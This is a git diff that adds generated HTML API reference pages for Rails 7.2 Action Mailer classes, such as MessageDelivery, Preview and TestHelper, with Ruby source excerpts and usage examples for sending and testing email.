diff --git a/src/7.2/classes/ActionMailer/LogSubscriber.html b/src/7.2/classes/ActionMailer/LogSubscriber.html new file mode 100644 index 0000000000..9719a9e319 --- /dev/null +++ b/src/7.2/classes/ActionMailer/LogSubscriber.html @@ -0,0 +1,207 @@ +--- +title: ActionMailer::LogSubscriber +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer LogSubscriber

+ +

Implements the ActiveSupport::LogSubscriber for logging notifications when email is delivered or received.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + deliver(event) + +

+ + +
+

An email was delivered.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/log_subscriber.rb, line 12
+    def deliver(event)
+      info do
+        if exception = event.payload[:exception_object]
+          "Failed delivery of mail #{event.payload[:message_id]} error_class=#{exception.class} error_message=#{exception.message.inspect}"
+        elsif event.payload[:perform_deliveries]
+          "Delivered mail #{event.payload[:message_id]} (#{event.duration.round(1)}ms)"
+        else
+          "Skipped delivery of mail #{event.payload[:message_id]} as `perform_deliveries` is false"
+        end
+      end
+
+      debug { event.payload[:mail] }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger() + +

+ + +
+

Use the logger configured for ActionMailer::Base.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/log_subscriber.rb, line 38
+    def logger
+      ActionMailer::Base.logger
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + process(event) + +

+ + +
+

An email was generated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/log_subscriber.rb, line 28
+    def process(event)
+      debug do
+        mailer = event.payload[:mailer]
+        action = event.payload[:action]
+        "#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/MailHelper.html b/src/7.2/classes/ActionMailer/MailHelper.html new file mode 100644 index 0000000000..3020a01f25 --- /dev/null +++ b/src/7.2/classes/ActionMailer/MailHelper.html @@ -0,0 +1,311 @@ +--- +title: ActionMailer::MailHelper +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer MailHelper

+ +

Provides helper methods for ActionMailer::Base that can be used for easily formatting messages, accessing mailer or message instances, and the attachments list.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attachments() + +

+ + +
+

Access the message attachments list.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/mail_helper.rb, line 53
+    def attachments
+      mailer.attachments
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + block_format(text) + +

+ + +
+

Take the text and format it, indented two spaces for each line, and wrapped at 72 columns:

+ +
text = <<-TEXT
+  This is
+  the      paragraph.
+
+  * item1 * item2
+TEXT
+
+block_format text
+# => "  This is the paragraph.\n\n  * item1\n  * item2\n"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/mail_helper.rb, line 22
+    def block_format(text)
+      formatted = text.split(/\n\r?\n/).collect { |paragraph|
+        format_paragraph(paragraph)
+      }.join("\n\n")
+
+      # Make list points stand on their own line
+      output = +""
+      splits = formatted.split(/(\*+|\#+)/)
+      while line = splits.shift
+        if line.start_with?("*", "#") && splits.first&.start_with?(" ")
+          output.chomp!(" ") while output.end_with?(" ")
+          output << "  #{line} #{splits.shift.strip}\n"
+        else
+          output << line
+        end
+      end
+
+      output
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + format_paragraph(text, len = 72, indent = 2) + +

+ + +
+

Returns text wrapped at len columns and indented indent spaces. By default column length len equals 72 characters and indent indent equal two spaces.

+ +
my_text = 'Here is a sample text with more than 40 characters'
+
+format_paragraph(my_text, 25, 4)
+# => "    Here is a sample text with\n    more than 40 characters"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/mail_helper.rb, line 65
+    def format_paragraph(text, len = 72, indent = 2)
+      sentences = [[]]
+
+      text.split.each do |word|
+        if sentences.first.present? && (sentences.last + [word]).join(" ").length > len
+          sentences << [word]
+        else
+          sentences.last << word
+        end
+      end
+
+      indentation = " " * indent
+      sentences.map! { |sentence|
+        "#{indentation}#{sentence.join(' ')}"
+      }.join "\n"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mailer() + +

+ + +
+

Access the mailer instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/mail_helper.rb, line 43
+    def mailer
+      @_controller
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + message() + +

+ + +
+

Access the message instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/mail_helper.rb, line 48
+    def message
+      @_message
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/MessageDelivery.html b/src/7.2/classes/ActionMailer/MessageDelivery.html new file mode 100644 index 0000000000..6281301ff4 --- /dev/null +++ b/src/7.2/classes/ActionMailer/MessageDelivery.html @@ -0,0 +1,378 @@ +--- +title: ActionMailer::MessageDelivery +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer MessageDelivery

+ +

The ActionMailer::MessageDelivery class is used by ActionMailer::Base when creating a new mailer. MessageDelivery is a wrapper (Delegator subclass) around a lazy created Mail::Message. You can get direct access to the Mail::Message, deliver the email or schedule the email to be sent through Active Job.

+ +
Notifier.welcome(User.first)               # an ActionMailer::MessageDelivery object
+Notifier.welcome(User.first).deliver_now   # sends the email
+Notifier.welcome(User.first).deliver_later # enqueue email delivery as a job through Active Job
+Notifier.welcome(User.first).message       # a Mail::Message object
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + deliver_later(options = {}) + +

+ + +
+

Enqueues the email to be delivered through Active Job. When the job runs it will send the email using deliver_now.

+ +
Notifier.welcome(User.first).deliver_later
+Notifier.welcome(User.first).deliver_later(wait: 1.hour)
+Notifier.welcome(User.first).deliver_later(wait_until: 10.hours.from_now)
+Notifier.welcome(User.first).deliver_later(priority: 10)
+
+ +

Options:

+
  • +

    :wait - Enqueue the email to be delivered with a delay.

    +
  • +

    :wait_until - Enqueue the email to be delivered at (after) a specific date / time.

    +
  • +

    :queue - Enqueue the email on the specified queue.

    +
  • +

    :priority - Enqueues the email with the specified priority

    +
+ +

By default, the email will be enqueued using ActionMailer::MailDeliveryJob on the default queue. Mailer classes can customize the queue name used for the default job by assigning a deliver_later_queue_name class variable, or provide a custom job by assigning a delivery_job. When a custom job is used, it controls the queue name.

+ +
class AccountRegistrationMailer < ApplicationMailer
+  self.delivery_job = RegistrationDeliveryJob
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/message_delivery.rb, line 102
+    def deliver_later(options = {})
+      enqueue_delivery :deliver_now, options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deliver_later!(options = {}) + +

+ + +
+

Enqueues the email to be delivered through Active Job. When the job runs it will send the email using deliver_now!. That means that the message will be sent bypassing checking perform_deliveries and raise_delivery_errors, so use with caution.

+ +
Notifier.welcome(User.first).deliver_later!
+Notifier.welcome(User.first).deliver_later!(wait: 1.hour)
+Notifier.welcome(User.first).deliver_later!(wait_until: 10.hours.from_now)
+Notifier.welcome(User.first).deliver_later!(priority: 10)
+
+ +

Options:

+
  • +

    :wait - Enqueue the email to be delivered with a delay

    +
  • +

    :wait_until - Enqueue the email to be delivered at (after) a specific date / time

    +
  • +

    :queue - Enqueue the email on the specified queue

    +
  • +

    :priority - Enqueues the email with the specified priority

    +
+ +

By default, the email will be enqueued using ActionMailer::MailDeliveryJob on the default queue. Mailer classes can customize the queue name used for the default job by assigning a deliver_later_queue_name class variable, or provide a custom job by assigning a delivery_job. When a custom job is used, it controls the queue name.

+ +
class AccountRegistrationMailer < ApplicationMailer
+  self.delivery_job = RegistrationDeliveryJob
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/message_delivery.rb, line 75
+    def deliver_later!(options = {})
+      enqueue_delivery :deliver_now!, options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deliver_now() + +

+ + +
+

Delivers an email:

+ +
Notifier.welcome(User.first).deliver_now
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/message_delivery.rb, line 123
+    def deliver_now
+      processed_mailer.handle_exceptions do
+        processed_mailer.run_callbacks(:deliver) do
+          message.deliver
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deliver_now!() + +

+ + +
+

Delivers an email without checking perform_deliveries and raise_delivery_errors, so use with caution.

+ +
Notifier.welcome(User.first).deliver_now!
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/message_delivery.rb, line 111
+    def deliver_now!
+      processed_mailer.handle_exceptions do
+        processed_mailer.run_callbacks(:deliver) do
+          message.deliver!
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + message() + +

+ + +
+

Returns the resulting Mail::Message

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/message_delivery.rb, line 41
+    def message
+      __getobj__
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + processed?() + +

+ + +
+

Was the delegate loaded, causing the mailer action to be processed?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/message_delivery.rb, line 46
+    def processed?
+      @processed_mailer || @mail_message
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/NonInferrableMailerError.html b/src/7.2/classes/ActionMailer/NonInferrableMailerError.html new file mode 100644 index 0000000000..7449735846 --- /dev/null +++ b/src/7.2/classes/ActionMailer/NonInferrableMailerError.html @@ -0,0 +1,109 @@ +--- +title: ActionMailer::NonInferrableMailerError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_case.rb, line 8
+    def initialize(name)
+      super "Unable to determine the mailer to test from #{name}. " \
+        "You'll need to specify it using tests YourMailer in your " \
+        "test case definition"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Parameterized.html b/src/7.2/classes/ActionMailer/Parameterized.html new file mode 100644 index 0000000000..c2fefc45fb --- /dev/null +++ b/src/7.2/classes/ActionMailer/Parameterized.html @@ -0,0 +1,221 @@ +--- +title: ActionMailer::Parameterized +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer Parameterized

+ +

Provides the option to parameterize mailers in order to share instance variable setup, processing, and common headers.

+ +

Consider this example that does not use parameterization:

+ +
class InvitationsMailer < ApplicationMailer
+  def account_invitation(inviter, invitee)
+    @account = inviter.account
+    @inviter = inviter
+    @invitee = invitee
+
+    subject = "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+
+    mail \
+      subject:   subject,
+      to:        invitee.email_address,
+      from:      common_address(inviter),
+      reply_to:  inviter.email_address_with_name
+  end
+
+  def project_invitation(project, inviter, invitee)
+    @account = inviter.account
+    @project = project
+    @inviter = inviter
+    @invitee = invitee
+    @summarizer = ProjectInvitationSummarizer.new(@project.bucket)
+
+    subject = "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
+
+    mail \
+      subject:   subject,
+      to:        invitee.email_address,
+      from:      common_address(inviter),
+      reply_to:  inviter.email_address_with_name
+  end
+
+  def bulk_project_invitation(projects, inviter, invitee)
+    @account  = inviter.account
+    @projects = projects.sort_by(&:name)
+    @inviter  = inviter
+    @invitee  = invitee
+
+    subject = "#{@inviter.name.familiar} added you to some new stuff in Basecamp (#{@account.name})"
+
+    mail \
+      subject:   subject,
+      to:        invitee.email_address,
+      from:      common_address(inviter),
+      reply_to:  inviter.email_address_with_name
+  end
+end
+
+InvitationsMailer.account_invitation(person_a, person_b).deliver_later
+
+ +

Using parameterized mailers, this can be rewritten as:

+ +
class InvitationsMailer < ApplicationMailer
+  before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
+  before_action { @account = params[:inviter].account }
+
+  default to:       -> { @invitee.email_address },
+          from:     -> { common_address(@inviter) },
+          reply_to: -> { @inviter.email_address_with_name }
+
+  def account_invitation
+    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+  end
+
+  def project_invitation
+    @project    = params[:project]
+    @summarizer = ProjectInvitationSummarizer.new(@project.bucket)
+
+    mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
+  end
+
+  def bulk_project_invitation
+    @projects = params[:projects].sort_by(&:name)
+
+    mail subject: "#{@inviter.name.familiar} added you to some new stuff in Basecamp (#{@account.name})"
+  end
+end
+
+InvitationsMailer.with(inviter: person_a, invitee: person_b).account_invitation.deliver_later
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [W] + params
+ + + + + +

Instance Public methods

+ +
+

+ + params() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/parameterized.rb, line 95
+      def params
+        @params ||= {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Parameterized/ClassMethods.html b/src/7.2/classes/ActionMailer/Parameterized/ClassMethods.html new file mode 100644 index 0000000000..dfd967e570 --- /dev/null +++ b/src/7.2/classes/ActionMailer/Parameterized/ClassMethods.html @@ -0,0 +1,106 @@ +--- +title: ActionMailer::Parameterized::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + with(params) + +

+ + +
+

Provide the parameters to the mailer in order to use them in the instance methods and callbacks.

+ +
InvitationsMailer.with(inviter: person_a, invitee: person_b).account_invitation.deliver_later
+
+ +

See Parameterized documentation for full example.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/parameterized.rb, line 106
+      def with(params)
+        ActionMailer::Parameterized::Mailer.new(self, params)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Preview.html b/src/7.2/classes/ActionMailer/Preview.html new file mode 100644 index 0000000000..051b268bad --- /dev/null +++ b/src/7.2/classes/ActionMailer/Preview.html @@ -0,0 +1,398 @@ +--- +title: ActionMailer::Preview +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + params
+ + + + +

Class Public methods

+ +
+

+ + all() + +

+ + +
+

Returns all mailer preview classes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 80
+      def all
+        load_previews if descendants.empty?
+        descendants.sort_by { |mailer| mailer.name.titleize }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + call(email, params = {}) + +

+ + +
+

Returns the mail object for the given email name. The registered preview interceptors will be informed so that they can transform the message as they would if the mail was actually being delivered.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 88
+      def call(email, params = {})
+        preview = new(params)
+        message = preview.public_send(email)
+        inform_preview_interceptors(message)
+        message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + email_exists?(email) + +

+ + +
+

Returns true if the email exists.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 101
+      def email_exists?(email)
+        emails.include?(email)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + emails() + +

+ + +
+

Returns all of the available email previews.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 96
+      def emails
+        public_instance_methods(false).map(&:to_s).sort
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exists?(preview) + +

+ + +
+

Returns true if the preview exists.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 106
+      def exists?(preview)
+        all.any? { |p| p.preview_name == preview }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find(preview) + +

+ + +
+

Find a mailer preview by its underscored class name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 111
+      def find(preview)
+        all.find { |p| p.preview_name == preview }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(params = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 74
+    def initialize(params = {})
+      @params = params
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + preview_name() + +

+ + +
+

Returns the underscored name of the mailer preview without the suffix.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 116
+      def preview_name
+        name.delete_suffix("Preview").underscore
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Previews.html b/src/7.2/classes/ActionMailer/Previews.html new file mode 100644 index 0000000000..a9900750ca --- /dev/null +++ b/src/7.2/classes/ActionMailer/Previews.html @@ -0,0 +1,67 @@ +--- +title: ActionMailer::Previews +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Previews/ClassMethods.html b/src/7.2/classes/ActionMailer/Previews/ClassMethods.html new file mode 100644 index 0000000000..c5ba94950b --- /dev/null +++ b/src/7.2/classes/ActionMailer/Previews/ClassMethods.html @@ -0,0 +1,222 @@ +--- +title: ActionMailer::Previews::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + register_preview_interceptor(interceptor) + +

+ + +
+

Register an Interceptor which will be called before mail is previewed. Either a class or a string can be passed in as the Interceptor. If a string is passed in it will be constantized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 42
+      def register_preview_interceptor(interceptor)
+        preview_interceptor = interceptor_class_for(interceptor)
+
+        unless preview_interceptors.include?(preview_interceptor)
+          preview_interceptors << preview_interceptor
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_preview_interceptors(*interceptors) + +

+ + +
+

Register one or more Interceptors which will be called before mail is previewed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 30
+      def register_preview_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| register_preview_interceptor(interceptor) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unregister_preview_interceptor(interceptor) + +

+ + +
+

Unregister a previously registered Interceptor. Either a class or a string can be passed in as the Interceptor. If a string is passed in it will be constantized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 53
+      def unregister_preview_interceptor(interceptor)
+        preview_interceptors.delete(interceptor_class_for(interceptor))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unregister_preview_interceptors(*interceptors) + +

+ + +
+

Unregister one or more previously registered Interceptors.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/preview.rb, line 35
+      def unregister_preview_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| unregister_preview_interceptor(interceptor) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/QueuedDelivery.html b/src/7.2/classes/ActionMailer/QueuedDelivery.html new file mode 100644 index 0000000000..736407c86d --- /dev/null +++ b/src/7.2/classes/ActionMailer/QueuedDelivery.html @@ -0,0 +1,54 @@ +--- +title: ActionMailer::QueuedDelivery +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Rescuable.html b/src/7.2/classes/ActionMailer/Rescuable.html new file mode 100644 index 0000000000..b030cf27d0 --- /dev/null +++ b/src/7.2/classes/ActionMailer/Rescuable.html @@ -0,0 +1,76 @@ +--- +title: ActionMailer::Rescuable +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer Rescuable

+ +

Provides rescue_from for mailers. Wraps mailer action processing, mail job processing, and mail delivery to handle configured errors.

+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/TestCase.html b/src/7.2/classes/ActionMailer/TestCase.html new file mode 100644 index 0000000000..b240d4207c --- /dev/null +++ b/src/7.2/classes/ActionMailer/TestCase.html @@ -0,0 +1,89 @@ +--- +title: ActionMailer::TestCase +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/TestCase/Behavior.html b/src/7.2/classes/ActionMailer/TestCase/Behavior.html new file mode 100644 index 0000000000..45a69fd95a --- /dev/null +++ b/src/7.2/classes/ActionMailer/TestCase/Behavior.html @@ -0,0 +1,150 @@ +--- +title: ActionMailer::TestCase::Behavior +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + read_fixture(action) + +

+ + +
+

Reads the fixture file for the given mailer.

+ +

This is useful when testing mailers by being able to write the body of an email inside a fixture. See the testing guide for a concrete example: guides.rubyonrails.org/testing.html#revenge-of-the-fixtures

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_case.rb, line 82
+      def read_fixture(action)
+        IO.readlines(File.join(Rails.root, "test", "fixtures", self.class.mailer_class.name.underscore, action))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/TestCase/Behavior/ClassMethods.html b/src/7.2/classes/ActionMailer/TestCase/Behavior/ClassMethods.html new file mode 100644 index 0000000000..50ced0e5e3 --- /dev/null +++ b/src/7.2/classes/ActionMailer/TestCase/Behavior/ClassMethods.html @@ -0,0 +1,194 @@ +--- +title: ActionMailer::TestCase::Behavior::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + determine_default_mailer(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_case.rb, line 68
+        def determine_default_mailer(name)
+          mailer = determine_constant_from_test_name(name) do |constant|
+            Class === constant && constant < ActionMailer::Base
+          end
+          raise NonInferrableMailerError.new(name) if mailer.nil?
+          mailer
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mailer_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_case.rb, line 60
+        def mailer_class
+          if mailer = _mailer_class
+            mailer
+          else
+            tests determine_default_mailer(name)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tests(mailer) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_case.rb, line 49
+        def tests(mailer)
+          case mailer
+          when String, Symbol
+            self._mailer_class = mailer.to_s.camelize.constantize
+          when Module
+            self._mailer_class = mailer
+          else
+            raise NonInferrableMailerError.new(mailer)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/TestCase/ClearTestDeliveries.html b/src/7.2/classes/ActionMailer/TestCase/ClearTestDeliveries.html new file mode 100644 index 0000000000..44c17c4453 --- /dev/null +++ b/src/7.2/classes/ActionMailer/TestCase/ClearTestDeliveries.html @@ -0,0 +1,54 @@ +--- +title: ActionMailer::TestCase::ClearTestDeliveries +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/TestHelper.html b/src/7.2/classes/ActionMailer/TestHelper.html new file mode 100644 index 0000000000..09457264fb --- /dev/null +++ b/src/7.2/classes/ActionMailer/TestHelper.html @@ -0,0 +1,571 @@ +--- +title: ActionMailer::TestHelper +layout: default +--- +
+ +
+
+ +
+ +

Provides helper methods for testing Action Mailer, including assert_emails and assert_no_emails.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_emails(number, &block) + +

+ + +
+

Asserts that the number of emails sent matches the given number.

+ +
def test_emails
+  assert_emails 0
+  ContactMailer.welcome.deliver_now
+  assert_emails 1
+  ContactMailer.welcome.deliver_now
+  assert_emails 2
+end
+
+ +

If a block is passed, that block should cause the specified number of emails to be sent.

+ +
def test_emails_again
+  assert_emails 1 do
+    ContactMailer.welcome.deliver_now
+  end
+
+  assert_emails 2 do
+    ContactMailer.welcome.deliver_now
+    ContactMailer.welcome.deliver_later
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_helper.rb, line 35
+    def assert_emails(number, &block)
+      if block_given?
+        diff = capture_emails(&block).length
+        assert_equal number, diff, "#{number} emails expected, but #{diff} were sent"
+      else
+        assert_equal number, ActionMailer::Base.deliveries.size
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_enqueued_email_with(mailer, method, params: nil, args: nil, queue: nil, &block) + +

+ + +
+

Asserts that a specific email has been enqueued, optionally matching arguments and/or params.

+ +
def test_email
+  ContactMailer.welcome.deliver_later
+  assert_enqueued_email_with ContactMailer, :welcome
+end
+
+def test_email_with_parameters
+  ContactMailer.with(greeting: "Hello").welcome.deliver_later
+  assert_enqueued_email_with ContactMailer, :welcome, args: { greeting: "Hello" }
+end
+
+def test_email_with_arguments
+  ContactMailer.welcome("Hello", "Goodbye").deliver_later
+  assert_enqueued_email_with ContactMailer, :welcome, args: ["Hello", "Goodbye"]
+end
+
+def test_email_with_named_arguments
+  ContactMailer.welcome(greeting: "Hello", farewell: "Goodbye").deliver_later
+  assert_enqueued_email_with ContactMailer, :welcome, args: [{ greeting: "Hello", farewell: "Goodbye" }]
+end
+
+def test_email_with_parameters_and_arguments
+  ContactMailer.with(greeting: "Hello").welcome("Cheers", "Goodbye").deliver_later
+  assert_enqueued_email_with ContactMailer, :welcome, params: { greeting: "Hello" }, args: ["Cheers", "Goodbye"]
+end
+
+def test_email_with_parameters_and_named_arguments
+  ContactMailer.with(greeting: "Hello").welcome(farewell: "Goodbye").deliver_later
+  assert_enqueued_email_with ContactMailer, :welcome, params: { greeting: "Hello" }, args: [{farewell: "Goodbye"}]
+end
+
+def test_email_with_parameterized_mailer
+  ContactMailer.with(greeting: "Hello").welcome.deliver_later
+  assert_enqueued_email_with ContactMailer.with(greeting: "Hello"), :welcome
+end
+
+def test_email_with_matchers
+  ContactMailer.with(greeting: "Hello").welcome("Cheers", "Goodbye").deliver_later
+  assert_enqueued_email_with ContactMailer, :welcome,
+    params: ->(params) { /hello/i.match?(params[:greeting]) },
+    args: ->(args) { /cheers/i.match?(args[0]) }
+end
+
+ +

If a block is passed, that block should cause the specified email to be enqueued.

+ +
def test_email_in_block
+  assert_enqueued_email_with ContactMailer, :welcome do
+    ContactMailer.welcome.deliver_later
+  end
+end
+
+ +

If args is provided as a Hash, a parameterized email is matched.

+ +
def test_parameterized_email
+  assert_enqueued_email_with ContactMailer, :welcome,
+    args: {email: 'user@example.com'} do
+    ContactMailer.with(email: 'user@example.com').welcome.deliver_later
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_helper.rb, line 157
+    def assert_enqueued_email_with(mailer, method, params: nil, args: nil, queue: nil, &block)
+      if mailer.is_a? ActionMailer::Parameterized::Mailer
+        params = mailer.instance_variable_get(:@params)
+        mailer = mailer.instance_variable_get(:@mailer)
+      end
+
+      args = Array(args) unless args.is_a?(Proc)
+      queue ||= mailer.deliver_later_queue_name || ActiveJob::Base.default_queue_name
+
+      expected = ->(job_args) do
+        job_kwargs = job_args.extract_options!
+
+        [mailer.to_s, method.to_s, "deliver_now"] == job_args &&
+          params === job_kwargs[:params] && args === job_kwargs[:args]
+      end
+
+      assert_enqueued_with(job: mailer.delivery_job, args: expected, queue: queue.to_s, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_enqueued_emails(number, &block) + +

+ + +
+

